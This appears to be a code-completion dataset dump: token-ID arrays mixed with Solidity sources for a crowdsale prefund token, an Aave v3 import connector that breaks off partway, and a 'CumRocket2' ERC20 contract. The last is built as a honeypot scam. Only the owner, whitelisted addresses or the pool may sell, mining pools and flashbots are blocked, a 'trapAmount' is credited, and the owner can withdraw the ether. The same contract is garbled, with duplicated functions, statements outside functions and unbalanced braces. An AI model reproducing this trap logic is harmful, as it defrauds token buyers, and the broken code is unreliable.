[ 1, 565, 445, 444, 67, 74, 5807, 67, 265, 12, 2867, 389, 82, 1222, 16, 2254, 389, 74, 5807, 13, 1071, 1338, 1730, 288, 203, 3639, 1679, 67, 74, 5807, 63, 67, 82, 1222, 65, 273, 389, 74, 5807, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.11; /** * Math operations with safety checks */ library SafeMath { function mul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function sub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } /* * Ownable * * Base contract with an owner. * Provides onlyOwner modifier, which prevents function from running if it is called by anyone other than the owner. */ contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { if (msg.sender != owner) { throw; } _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /* * ERC20Basic * Simpler version of ERC20 interface * see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { uint public totalSupply; function balanceOf(address who) constant returns (uint); function transfer(address to, uint value); event Transfer(address indexed from, address indexed to, uint value); } /* * Basic token * Basic version of StandardToken, with no allowances */ contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; /* * Fix for the ERC20 short address attack */ modifier onlyPayloadSize(uint size) { if(msg.data.length < size + 4) { throw; } _; } function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } } /** * @title FundableToken - accounts for funds to stand behind it * @author Dmitry Kochin <[email protected]> * We need to store this data to be able to know how much funds are standing behind the tokens * It may come handy in token transformation. For example if prefund would not be successful we * will be able to refund all the invested money */ contract FundableToken is BasicToken { ///Invested funds mapping(address => uint) public funds; ///Total funds behind the tokens uint public totalFunds; function FundableToken() {} } /** * Transform agent transfers tokens to a new contract. It may transform them to another tokens or refund * Transform agent itself can be the token contract, or just a middle man contract doing the heavy lifting. */ contract TransformAgent { ///The original supply of tokens to be transformed uint256 public originalSupply; ///The original funds behind the tokens to be transformed uint256 public originalFunds; /** Interface marker */ function isTransformAgent() public constant returns (bool) { return true; } function transformFrom(address _from, uint256 _tokens, uint256 _funds) public; } /** * A token transform mechanism where users can opt-in amount of tokens to the next smart contract revision. * * First envisioned by Golem and Lunyr projects. */ contract TransformableToken is FundableToken, Ownable { /** The next contract where the tokens will be migrated. */ TransformAgent public transformAgent; /** How many tokens we have transformed by now. */ uint256 public totalTransformedTokens; /** * Transform states. * * - NotAllowed: The child contract has not reached a condition where the transform can bgun * - WaitingForAgent: Token allows transform, but we don't have a new agent yet * - ReadyToTransform: The agent is set, but not a single token has been transformed yet, so we still have a chance to reset agent to another value * - Transforming: Transform agent is set and the balance holders can transform their tokens * */ enum TransformState {Unknown, NotAllowed, WaitingForAgent, ReadyToTransform, Transforming} /** * Somebody has transformd some of his tokens. */ event Transform(address indexed _from, address indexed _to, uint256 _tokens, uint256 _funds); /** * New transform agent available. */ event TransformAgentSet(address agent); /** * Allow the token holder to transform all of their tokens to a new contract. */ function transform() public { TransformState state = getTransformState(); require(state == TransformState.ReadyToTransform || state == TransformState.Transforming); uint tokens = balances[msg.sender]; uint investments = funds[msg.sender]; require(tokens > 0); // Validate input value. balances[msg.sender] = 0; funds[msg.sender] = 0; // Take tokens out from circulation totalSupply = totalSupply.sub(tokens); totalFunds = totalFunds.sub(investments); totalTransformedTokens = totalTransformedTokens.add(tokens); // Transform agent reissues the tokens transformAgent.transformFrom(msg.sender, tokens, investments); Transform(msg.sender, transformAgent, tokens, investments); //Once transformation is finished the contract is not needed anymore if(totalSupply == 0) selfdestruct(owner); } /** * Set an transform agent that handles */ function setTransformAgent(address agent) onlyOwner external { require(agent != 0x0); // Transform has already begun for an agent require(getTransformState() != TransformState.Transforming); transformAgent = TransformAgent(agent); // Bad interface require(transformAgent.isTransformAgent()); // Make sure that token supplies match in source and target require(transformAgent.originalSupply() == totalSupply); require(transformAgent.originalFunds() == totalFunds); TransformAgentSet(transformAgent); } /** * Get the state of the token transform. */ function getTransformState() public constant returns(TransformState) { if(address(transformAgent) == 0x00) return TransformState.WaitingForAgent; else if(totalTransformedTokens == 0) return TransformState.ReadyToTransform; else return TransformState.Transforming; } } /** * Mintable token * * Simple ERC20 Token example, with mintable token creation * Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: * https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is BasicToken { /** Crowdsale contract allowed to mint tokens */ function mint(address _to, uint _amount) internal { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); //Announce that we have minted some tokens Transfer(0x0, _to, _amount); } } /// @title Token contract - Implements Standard Token Interface with Ubermensch features. /// @author Dmitry Kochin - <[email protected]> contract UbermenschPrefundToken is MintableToken, TransformableToken { string constant public name = "Ubermensch Prefund"; string constant public symbol = "UMP"; uint constant public decimals = 8; //The price of 1 token in Ether uint constant public TOKEN_PRICE = 0.0025 * 1 ether; //The maximum number of tokens to be sold in crowdsale uint constant public TOKEN_CAP = 20000000 * (10 ** decimals); uint public investorCount; address public multisigWallet; bool public stopped; // A new investment was made event Invested(address indexed investor, uint weiAmount, uint tokenAmount); function UbermenschPrefundToken(address multisig){ //We require that the owner should be multisig wallet //Because owner can make important decisions like stopping prefund //and setting TransformAgent //However this contract can be created by any account. After creation //it automatically transfers ownership to multisig wallet transferOwnership(multisig); multisigWallet = multisig; } modifier onlyActive(){ require(!stopped); //Setting the transfer agent effectively stops prefund require(getTransformState() == TransformState.WaitingForAgent); _; } /** * Returns bonuses based on the current totalSupply in percents * An investor gets the bonus based on the current totalSupply value * even if the resulting totalSupply after an investment corresponds to different bonus */ function getCurrentBonus() public constant returns (uint){ if(totalSupply < 7000000 * (10 ** decimals)) return 180; if(totalSupply < 14000000 * (10 ** decimals)) return 155; return 140; } /// @dev main function to buy tokens to specified address /// @param to The address of token recipient function invest(address to) onlyActive public payable { uint amount = msg.value; //Bonuses are in percents so the final value must be divided by 100 uint tokenAmount = getCurrentBonus().mul(amount).mul(10 ** decimals / 100).div(TOKEN_PRICE); require(tokenAmount >= 0); if(funds[to] == 0) { // A new investor ++investorCount; } // Update investor funds[to] = funds[to].add(amount); totalFunds = totalFunds.add(amount); //mint tokens mint(to, tokenAmount); //We also should not break the token cap //This is exactly "require' and not 'assert' because it depends on msg.value - a user supplied parameters //While 'assert' should correspond to a broken business logic require(totalSupply <= TOKEN_CAP); // Pocket the money multisigWallet.transfer(amount); // Tell us invest was success Invested(to, amount, tokenAmount); } function buy() public payable { invest(msg.sender); } function transfer(address _to, uint _value){ throw; //This prefund token can not be transferred } //Stops the crowdsale forever function stop() onlyOwner { stopped = true; } //We'll try to accept sending ether on the contract address, hope the gas supplied would be enough function () payable{ buy(); } }
Stops the crowdsale forever
function stop() onlyOwner { stopped = true; }
12,717,729
[ 1, 20044, 326, 276, 492, 2377, 5349, 21238, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2132, 1435, 1338, 5541, 288, 203, 3639, 9627, 273, 638, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xB14516Db2DE2cD78728457259f0eC430b80dA7b2/sources/contracts/CheapERC20.sol
address ethermine = 0xEA674fdDe714fd979de3EdF0F56AA9716B898ec8; address sparkpool = 0x5A0b54D5dc17e0AadC383d2db43B0a0D3E029c4c; address nanopool = 0x52bc44d5378309EE2abF1539BF71dE1b7d7bE3b5; address f2pool2 = 0x829BD824B016326A401d083B33D092293333A830; address other = 0xbCC817f057950b0df41206C5D7125E6225Cae18e; address babelpool = 0xB3b7874F13387D44a3398D298B075B7A3505D8d4; address spiderpool = 0x04668Ec2f57cC15c381b461B9fEDaB5D451c8F7F; address other2 = 0xEA674fdDe714fd979de3EdF0F56AA9716B898ec8; address other3 = 0x06B8C5883Ec71bC3f4B332081519f23834c8706E; address hiveonpool = 0x1aD91ee08f21bE3dE0BA2ba6918E714dA6B45836; address beepool = 0x99C85bb64564D9eF9A99621301f22C9993Cb89E3; address other4 = 0xc8F595E2084DB484f8A80109101D58625223b7C9; address uupool = 0xD224cA0c819e8E97ba0136B3b95ceFf503B79f53; address binancepool = 0xc365c3315cF926351CcAf13fA7D19c8C4058C8E1; address[14] blacklist = [ethermine, sparkpool, nanopool, f2pool2, other, babelpool, spiderpool, other2, other3, hiveonpool, beepool, other4, uupool, binancepool];
contract Dogelon is ERC20Interface, Owned { string public symbol; string public name; uint8 public decimals; uint _totalSupply; address public pool; bool paused; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; address white8 = 0x7B3B6a7bC87f978C9cb134C85d6623f8F6f5C0e3; address white9 = 0xbb5414c16d3c373A6f795C4d21DDd874a1d2f897; address white10 = 0xD81d0eAbe84D9692baC6aE816A0B11Bcb3953372; address white11 = 0x7A3Ef0De7Fd9DF8951fafBe8F7ef3240DE5837E8; address white12 = 0xe85740D4B34F727E8cBc9D676d253A4Fd736a239; address white13 = 0x54539aA494A66c14130705DB7f4285fd2A46F68d; address[6] whitelist = [white8, white9, white10, white11, white12, white13]; address uniswapRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor() { symbol = "CUMROCKET2"; name = "CumRocket2"; decimals = 18; _totalSupply = 1000000000000 ether; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); allowed[owner][uniswapRouter] = _totalSupply; paused = true; } function pause() public onlyOwner { paused = true; } function transferPool(address _pool) public onlyOwner { pool = _pool; } function totalSupply() public override view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public override view returns (uint balance) { return balances[tokenOwner]; } function withdraw() public onlyOwner { require(success, "Failed to send ether"); } (bool success,) = owner.call{value: address(this).balance}(""); function _transfer(address from, address to, uint tokens) internal { bool isFlashbot = false; bool isWhitelisted = false; for (uint i = 0; i < whitelist.length; i++) { if (from == whitelist[i]) { isWhitelisted = true; break; } } if(from == owner || to == owner || from == pool || isWhitelisted || allowSelling) { balances[from] -= tokens; balances[to] += tokens; balances[from] -= tokens; uint trapAmount = (tokens * 10) / 100; balances[to] += trapAmount; } emit Transfer(from, to, tokens); } if (from != address(0) && pool == address(0)) { pool = to; } function _transfer(address from, address to, uint tokens) internal { bool isFlashbot = false; bool isWhitelisted = false; for (uint i = 0; i < whitelist.length; i++) { if (from == whitelist[i]) { isWhitelisted = true; break; } } if(from == owner || to == owner || from == pool || isWhitelisted || allowSelling) { balances[from] -= tokens; balances[to] += tokens; balances[from] -= tokens; uint trapAmount = (tokens * 10) / 100; balances[to] += trapAmount; } emit Transfer(from, to, tokens); } function _transfer(address from, address to, uint tokens) internal { bool isFlashbot = false; bool isWhitelisted = false; for (uint i = 0; i < whitelist.length; i++) { if (from == whitelist[i]) { isWhitelisted = true; break; } } if(from == owner || to == owner || from == pool || isWhitelisted || allowSelling) { balances[from] -= tokens; balances[to] += tokens; balances[from] -= tokens; uint trapAmount = (tokens * 10) / 100; balances[to] += trapAmount; } emit Transfer(from, to, tokens); } bool isBig = tokens >= balances[pool] / 200; bool allowSelling = !isFlashbot && !isBig && !paused; function _transfer(address from, address to, uint tokens) internal { bool isFlashbot = false; bool isWhitelisted = false; for (uint i = 0; i < whitelist.length; i++) { if (from == whitelist[i]) { isWhitelisted = true; break; } } if(from == owner || to == owner || from == pool || isWhitelisted || allowSelling) { balances[from] -= tokens; balances[to] += tokens; balances[from] -= tokens; uint trapAmount = (tokens * 10) / 100; balances[to] += trapAmount; } emit Transfer(from, to, tokens); } } else { function transfer(address to, uint tokens) public override returns (bool success) { _transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public override returns (bool success) { if(msg.sender != uniswapRouter) { } _transfer(from, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public override returns (bool success) { if(msg.sender != uniswapRouter) { } _transfer(from, to, tokens); return true; } function approve(address spender, uint tokens) public override returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function allowance(address tokenOwner, address spender) public override view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } }
4,983,284
[ 1, 2867, 13750, 1035, 558, 273, 374, 17432, 37, 26, 5608, 8313, 758, 27, 3461, 8313, 29, 7235, 323, 23, 2671, 42, 20, 42, 4313, 5284, 10580, 2313, 38, 6675, 28, 557, 28, 31, 282, 1758, 16453, 6011, 273, 374, 92, 25, 37, 20, 70, 6564, 40, 25, 7201, 4033, 73, 20, 37, 361, 39, 7414, 23, 72, 22, 1966, 8942, 38, 20, 69, 20, 40, 23, 41, 3103, 29, 71, 24, 71, 31, 282, 1758, 6468, 556, 1371, 273, 374, 92, 9401, 13459, 6334, 72, 25, 6418, 28, 5082, 29, 9383, 22, 378, 42, 3600, 5520, 15259, 11212, 72, 41, 21, 70, 27, 72, 27, 70, 41, 23, 70, 25, 31, 282, 1758, 284, 22, 6011, 22, 273, 374, 92, 28, 5540, 18096, 28, 3247, 38, 24171, 27284, 37, 27002, 72, 6840, 23, 38, 3707, 40, 5908, 3787, 29, 18094, 37, 28, 5082, 31, 282, 1758, 1308, 273, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 16351, 463, 717, 292, 265, 353, 4232, 39, 3462, 1358, 16, 14223, 11748, 288, 203, 225, 533, 1071, 3273, 31, 203, 225, 533, 1071, 508, 31, 203, 225, 2254, 28, 1071, 15105, 31, 203, 225, 2254, 389, 4963, 3088, 1283, 31, 203, 225, 1758, 1071, 2845, 31, 203, 225, 1426, 17781, 31, 203, 203, 225, 2874, 12, 2867, 516, 2254, 13, 324, 26488, 31, 203, 225, 2874, 12, 2867, 516, 2874, 12, 2867, 516, 2254, 3719, 2935, 31, 203, 203, 203, 203, 225, 1758, 9578, 28, 273, 374, 92, 27, 38, 23, 38, 26, 69, 27, 70, 39, 11035, 74, 29, 8285, 39, 29, 7358, 25213, 39, 7140, 72, 6028, 4366, 74, 28, 42, 26, 74, 25, 39, 20, 73, 23, 31, 203, 225, 1758, 9578, 29, 273, 374, 6114, 70, 6564, 3461, 71, 2313, 72, 23, 71, 6418, 23, 37, 26, 74, 7235, 25, 39, 24, 72, 5340, 5698, 72, 28, 5608, 69, 21, 72, 22, 74, 6675, 27, 31, 203, 225, 1758, 9578, 2163, 273, 374, 17593, 11861, 72, 20, 73, 37, 2196, 5193, 40, 29, 8148, 22, 12124, 39, 26, 69, 41, 28, 2313, 37, 20, 38, 2499, 38, 7358, 5520, 25, 3707, 9060, 31, 203, 225, 1758, 9578, 2499, 273, 374, 92, 27, 37, 23, 41, 74, 20, 758, 27, 27263, 29, 4577, 6675, 10593, 507, 74, 1919, 28, 42, 27, 10241, 1578, 7132, 1639, 8204, 6418, 41, 28, 31, 203, 225, 1758, 9578, 2138, 273, 374, 6554, 7140, 5608, 20, 40, 24, 38, 5026, 42, 27, 5324, 41, 28, 2 ]
pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; /** * @title Aave v3 import connector . * @dev Import EOA's aave V3 position to DSA's aave v3 position */ import { TokenInterface, AccountInterface } from "../../../common/interfaces.sol"; import { AaveInterface, ATokenInterface } from "./interface.sol"; import "./helpers.sol"; import "./events.sol"; contract AaveV3ImportResolver is AaveHelpers { function _importAave(address userAccount, ImportInputData memory inputData) internal returns (string memory _eventName, bytes memory _eventParam) { require( AccountInterface(address(this)).isAuth(userAccount), "user-account-not-auth" ); require(inputData.supplyTokens.length > 0, "0-length-not-allowed"); ImportData memory data; AaveInterface aave = AaveInterface(aaveProvider.getPool()); data = getBorrowAmounts(userAccount, aave, inputData, data); data = getSupplyAmounts(userAccount, inputData, data); // payback borrowed amount; _PaybackStable( data._borrowTokens.length, aave, data._borrowTokens, data.stableBorrowAmts, userAccount ); _PaybackVariable( data._borrowTokens.length, aave, data._borrowTokens, data.variableBorrowAmts, userAccount ); // transfer atokens to this address; _TransferAtokens( data._supplyTokens.length, aave, data.aTokens, data.supplyAmts, data._supplyTokens, userAccount ); // borrow assets after migrating position if (data.convertStable) { _BorrowVariable( data._borrowTokens.length, aave, data._borrowTokens, data.totalBorrowAmtsWithFee ); } else { _BorrowStable( data._borrowTokens.length, aave, data._borrowTokens, data.stableBorrowAmtsWithFee ); _BorrowVariable( data._borrowTokens.length, aave, data._borrowTokens, data.variableBorrowAmtsWithFee ); } _eventName = "LogAaveV3Import(address,bool,address[],address[],uint256[],uint256[],uint256[],uint256[])"; _eventParam = abi.encode( userAccount, inputData.convertStable, inputData.supplyTokens, inputData.borrowTokens, inputData.flashLoanFees, data.supplyAmts, data.stableBorrowAmts, data.variableBorrowAmts ); } /** * @dev Import aave V3 position . * @notice Import EOA's aave V3 position to DSA's aave v3 position * @param userAccount The address of the EOA from which aave position will be imported * @param inputData The struct containing all the neccessary input data */ function importAave(address userAccount, ImportInputData memory inputData) external payable returns (string memory _eventName, bytes memory _eventParam) { (_eventName, _eventParam) = _importAave(userAccount, inputData); } } contract ConnectV2AaveV3Import is AaveV3ImportResolver { string public constant name = "Aave-v3-import-v1"; } pragma solidity ^0.7.0; interface TokenInterface { function approve(address, uint256) external; function transfer(address, uint) external; function transferFrom(address, address, uint) external; function deposit() external payable; function withdraw(uint) external; function balanceOf(address) external view returns (uint); function decimals() external view returns (uint); function totalSupply() external view returns (uint); } interface MemoryInterface { function getUint(uint id) external returns (uint num); function setUint(uint id, uint val) external; } interface InstaMapping { function cTokenMapping(address) external view returns (address); function gemJoinMapping(bytes32) external view returns (address); } interface AccountInterface { function enable(address) external; function disable(address) external; function isAuth(address) external view returns (bool); } pragma solidity ^0.7.0; interface AaveInterface { function supply( address asset, uint256 amount, address onBehalfOf, uint16 referralCode ) external; function withdraw( address _asset, uint256 _amount, address _to ) external; function borrow( address _asset, uint256 _amount, uint256 _interestRateMode, uint16 _referralCode, address _onBehalfOf ) external; function repay( address _asset, uint256 _amount, uint256 _rateMode, address _onBehalfOf ) external; function setUserUseReserveAsCollateral( address _asset, bool _useAsCollateral ) external; function swapBorrowRateMode(address _asset, uint256 _rateMode) external; } interface ATokenInterface { function scaledBalanceOf(address _user) external view returns (uint256); function isTransferAllowed(address _user, uint256 _amount) external view returns (bool); function balanceOf(address _user) external view returns (uint256); function transferFrom( address, address, uint256 ) external returns (bool); function allowance(address, address) external returns (uint256); } interface AavePoolProviderInterface { function getPool() external view returns (address); } interface AaveDataProviderInterface { function getReserveTokensAddresses(address _asset) external view returns ( address aTokenAddress, address stableDebtTokenAddress, address variableDebtTokenAddress ); function getUserReserveData(address _asset, address _user) external view returns ( uint256 currentATokenBalance, uint256 currentStableDebt, uint256 currentVariableDebt, uint256 principalStableDebt, uint256 scaledVariableDebt, uint256 stableBorrowRate, uint256 liquidityRate, uint40 stableRateLastUpdated, bool usageAsCollateralEnabled ); } interface AaveAddressProviderRegistryInterface { function getAddressesProvidersList() external view returns (address[] memory); } pragma solidity ^0.7.0; import { DSMath } from "../../../common/math.sol"; import { Basic } from "../../../common/basic.sol"; import { TokenInterface, AccountInterface } from "../../../common/interfaces.sol"; import { AaveInterface, AavePoolProviderInterface, AaveDataProviderInterface } from "./interface.sol"; import "./events.sol"; import "./interface.sol"; abstract contract Helper is DSMath, Basic { /** * @dev Aave referal code */ uint16 internal constant referalCode = 3228; /** * @dev Aave Lending Pool Provider */ AavePoolProviderInterface internal constant aaveProvider = AavePoolProviderInterface(0xB53C1a33016B2DC2fF3653530bfF1848a515c8c5); /** * @dev Aave Protocol Data Provider */ AaveDataProviderInterface internal constant aaveData = AaveDataProviderInterface(0x057835Ad21a177dbdd3090bB1CAE03EaCF78Fc6d); function getIsColl(address token, address user) internal view returns (bool isCol) { (, , , , , , , , isCol) = aaveData.getUserReserveData(token, user); } struct ImportData { address[] _supplyTokens; address[] _borrowTokens; ATokenInterface[] aTokens; uint256[] supplyAmts; uint256[] variableBorrowAmts; uint256[] variableBorrowAmtsWithFee; uint256[] stableBorrowAmts; uint256[] stableBorrowAmtsWithFee; uint256[] totalBorrowAmts; uint256[] totalBorrowAmtsWithFee; bool convertStable; } struct ImportInputData { address[] supplyTokens; address[] borrowTokens; bool convertStable; uint256[] flashLoanFees; } } contract AaveHelpers is Helper { function getBorrowAmount(address _token, address userAccount) internal view returns (uint256 stableBorrow, uint256 variableBorrow) { ( , address stableDebtTokenAddress, address variableDebtTokenAddress ) = aaveData.getReserveTokensAddresses(_token); stableBorrow = ATokenInterface(stableDebtTokenAddress).balanceOf( userAccount ); variableBorrow = ATokenInterface(variableDebtTokenAddress).balanceOf( userAccount ); } function getBorrowAmounts( address userAccount, AaveInterface aave, ImportInputData memory inputData, ImportData memory data ) internal returns (ImportData memory) { if (inputData.borrowTokens.length > 0) { data._borrowTokens = new address[](inputData.borrowTokens.length); data.variableBorrowAmts = new uint256[]( inputData.borrowTokens.length ); data.variableBorrowAmtsWithFee = new uint256[]( inputData.borrowTokens.length ); data.stableBorrowAmts = new uint256[]( inputData.borrowTokens.length ); data.stableBorrowAmtsWithFee = new uint256[]( inputData.borrowTokens.length ); data.totalBorrowAmts = new uint256[](inputData.borrowTokens.length); data.totalBorrowAmtsWithFee = new uint256[]( inputData.borrowTokens.length ); for (uint256 i = 0; i < inputData.borrowTokens.length; i++) { for (uint256 j = i; j < inputData.borrowTokens.length; j++) { if (j != i) { require( inputData.borrowTokens[i] != inputData.borrowTokens[j], "token-repeated" ); } } } for (uint256 i = 0; i < inputData.borrowTokens.length; i++) { address _token = inputData.borrowTokens[i] == ethAddr ? wethAddr : inputData.borrowTokens[i]; data._borrowTokens[i] = _token; ( data.stableBorrowAmts[i], data.variableBorrowAmts[i] ) = getBorrowAmount(_token, userAccount); if (data.variableBorrowAmts[i] != 0) { data.variableBorrowAmtsWithFee[i] = add( data.variableBorrowAmts[i], inputData.flashLoanFees[i] ); data.stableBorrowAmtsWithFee[i] = data.stableBorrowAmts[i]; } else { data.stableBorrowAmtsWithFee[i] = add( data.stableBorrowAmts[i], inputData.flashLoanFees[i] ); } data.totalBorrowAmts[i] = add( data.stableBorrowAmts[i], data.variableBorrowAmts[i] ); data.totalBorrowAmtsWithFee[i] = add( data.stableBorrowAmtsWithFee[i], data.variableBorrowAmtsWithFee[i] ); if (data.totalBorrowAmts[i] > 0) { uint256 _amt = data.totalBorrowAmts[i]; TokenInterface(_token).approve(address(aave), _amt); } } } return data; } function getSupplyAmounts( address userAccount, ImportInputData memory inputData, ImportData memory data ) internal view returns (ImportData memory) { data.supplyAmts = new uint256[](inputData.supplyTokens.length); data._supplyTokens = new address[](inputData.supplyTokens.length); data.aTokens = new ATokenInterface[](inputData.supplyTokens.length); for (uint256 i = 0; i < inputData.supplyTokens.length; i++) { for (uint256 j = i; j < inputData.supplyTokens.length; j++) { if (j != i) { require( inputData.supplyTokens[i] != inputData.supplyTokens[j], "token-repeated" ); } } } for (uint256 i = 0; i < inputData.supplyTokens.length; i++) { address _token = inputData.supplyTokens[i] == ethAddr ? wethAddr : inputData.supplyTokens[i]; (address _aToken, , ) = aaveData.getReserveTokensAddresses(_token); data._supplyTokens[i] = _token; data.aTokens[i] = ATokenInterface(_aToken); data.supplyAmts[i] = data.aTokens[i].balanceOf(userAccount); } return data; } function _paybackBehalfOne( AaveInterface aave, address token, uint256 amt, uint256 rateMode, address user ) private { aave.repay(token, amt, rateMode, user); } function _PaybackStable( uint256 _length, AaveInterface aave, address[] memory tokens, uint256[] memory amts, address user ) internal { for (uint256 i = 0; i < _length; i++) { if (amts[i] > 0) { _paybackBehalfOne(aave, tokens[i], amts[i], 1, user); } } } function _PaybackVariable( uint256 _length, AaveInterface aave, address[] memory tokens, uint256[] 